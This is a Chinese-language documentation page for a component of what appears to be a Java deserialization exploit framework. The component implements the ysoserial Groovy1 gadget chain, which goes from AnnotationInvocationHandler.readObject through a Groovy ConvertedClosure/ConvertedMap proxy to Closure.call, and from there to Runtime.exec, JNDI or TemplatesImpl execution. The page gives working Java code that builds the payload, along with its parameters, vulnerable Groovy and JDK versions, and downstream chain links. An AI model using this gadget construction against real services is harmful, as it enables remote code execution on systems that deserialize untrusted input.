- 类别:javanative 别名:— 优先级:—
- 作者:—
- 依赖:
org.codehaus.groovy:groovy:2.4.3
经典 Groovy 反序列化跳板。以 JDK 的 AnnotationInvocationHandler 为触发点,通过其 readObject 遍历 memberValues.entrySet(),把调用转发到一个由 Groovy ConvertedClosure/ConvertedMap 支撑的 Map 动态代理上,最终触发 Closure.call(...)——从而把内层的 Groovy Closure(如 MethodClosure 指向 Runtime.exec)执行起来。是 ysoserial Groovy1 家族在本框架中的实现。
- 入口
tags:JavaNativeDeserialize—— 承接 Java 原生反序列化入口。 - 衔接
nextTags:ClosureWithTemplatesImplChain、ClosureWithJNDIChain、ClosureWithRuntimeChain—— 下游须提供一个封装好的 GroovyClosure(分别走 TemplatesImpl 字节码 / JNDI / Runtime 命令三种落地方式)。 excludes:无。
getObject 把内层对象包成 Map 代理,再交给 AnnotationInvocationHandler:
public Object getObject(Object obj) throws Exception {
InvocationHandler handler = this.buildHandler(obj); // 见下:ConvertedClosure 或 ConvertedMap
Map map = (Map) Proxy.newProxyInstance(
Groovy.class.getClassLoader(), new Class[]{Map.class}, handler);
return PayloadHelper.createMemoizedInvocationHandler(map); // 包进 AnnotationInvocationHandler
}
@Override
public Object invoke(GadgetContext context, GadgetChain chain) throws Exception {
return this.getObject(chain.doCreate(context)); // obj = 下游产出的 Closure
}buildHandler 依 entry 参数选两种等价入口,二者都是 Groovy 运行时里实现了 InvocationHandler 的类,被调用 entrySet 方法时会把参数转交内部 Closure:
private InvocationHandler buildHandler(Object obj) throws Exception {
if ("converted_map".equalsIgnoreCase(this.entry)) {
HashMap<String, Object> handlerMap = new HashMap<>();
handlerMap.put("entrySet", obj); // key="entrySet" → 命中被代理方法名
ConvertedMap convertedMap = Reflections.createWithoutConstructor(ConvertedMap.class);
Reflections.setFieldValue(convertedMap, "delegate", handlerMap);
return (InvocationHandler) convertedMap;
}
ConvertedClosure closure = new ConvertedClosure((Closure) obj, "entrySet"); // 绑定方法名 entrySet
return closure;
}触发链(与 description 一致):AnnotationInvocationHandler.readObject → this.memberValues.entrySet()。这里 memberValues 就是上面那个 Map 代理,调用其 entrySet() 会进入 Proxy 的 InvocationHandler:
ConvertedClosure:构造时methodName="entrySet",当被代理对象上恰好调用同名方法entrySet时,它把调用委派给内部Closure.call(...)。ConvertedMap:delegate里put("entrySet", closure),代理调用entrySet时按 key 取出并触发Closure。
因此完整触发:AnnotationInvocationHandler.readObject → Proxy(Map).entrySet → ConvertedClosure/ConvertedMap.invoke → Closure.call。PayloadHelper.createMemoizedInvocationHandler 负责用反射实例化 sun.reflect.annotation.AnnotationInvocationHandler(构造私有)并塞入该 Map,使其在反序列化时自动遍历。
| 字段 | 名称 | 说明 | 默认 | 可选值 |
|---|---|---|---|---|
entry |
入口选择 | 选择代理触发入口:converted_closure 用 ConvertedClosure,converted_map 用 ConvertedMap |
converted_closure |
converted_closure、converted_map |
- 依赖
groovy 2.4.3(ConvertedClosure/ConvertedMap及Closure调用语义在该系列可用;Groovy 2.4.4+ 官方修复了MethodClosure序列化)。 - 依赖 JDK 的
AnnotationInvocationHandler可被反射实例化并在readObject中遍历entrySet——高版本 JDK 对该类有加固,实际可用性随 JDK 而变(此为「Java 原生反序列化」入口,非 XStream)。 - 真正的命令/字节码执行落在下游
Closure里(nextTags指向的三种ClosureWith*构件)。
- 自由构件,未直接出现在预设链。
- 下游(
nextTags):ClosureWithTemplatesImpl(Sandboxed)、ClosureWithJNDI(Sandboxed)、ClosureWithRuntime(Sandboxed) —— 提供最终执行的 GroovyClosure。 - 同族:Groovy2(PriorityQueue/
compareTo入口,走 XStream)、Groovy2GString(GString 入口)。